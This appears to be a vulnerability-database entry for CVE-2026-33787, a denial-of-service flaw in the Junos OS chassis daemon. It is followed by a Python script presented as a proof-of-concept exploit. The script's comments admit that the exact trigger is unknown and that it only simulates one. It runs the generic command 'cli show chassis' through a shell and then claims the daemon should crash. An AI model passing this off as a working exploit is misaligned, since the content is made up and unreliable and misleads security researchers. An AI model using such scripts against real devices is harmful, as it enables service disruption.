CVE-2026-33787 Junos OS 机箱守护进程异常条件检查不当漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33787 # Description: Triggers a Denial of Service in Junos OS chassisd via specific CLI command. # Requirements: Local low-privileged access to the target device. import subprocess import sys def trigger_dos(): print("[*] Attempting to trigger CVE-2026-33787...") # The vulnerability is triggered by executing a specific 'show chassis' command. # Due to the Improper Check for Unusual or Exceptional Conditions, # this command causes the chassisd daemon to crash and restart. # Note: Replace with the exact command syntax if disclosed specifically. # Here we simulate the execution of the problematic CLI command. target_command = "cli show chassis" try: # Execute the command on the local system print(f"[*] Executing: {target_command}") process = subprocess.Popen(target_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate() # The exploit occurs upon execution, crashing the daemon. print("[+] Command executed. If the device is vulnerable, chassisd should crash/restart causing DoS.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": trigger_dos()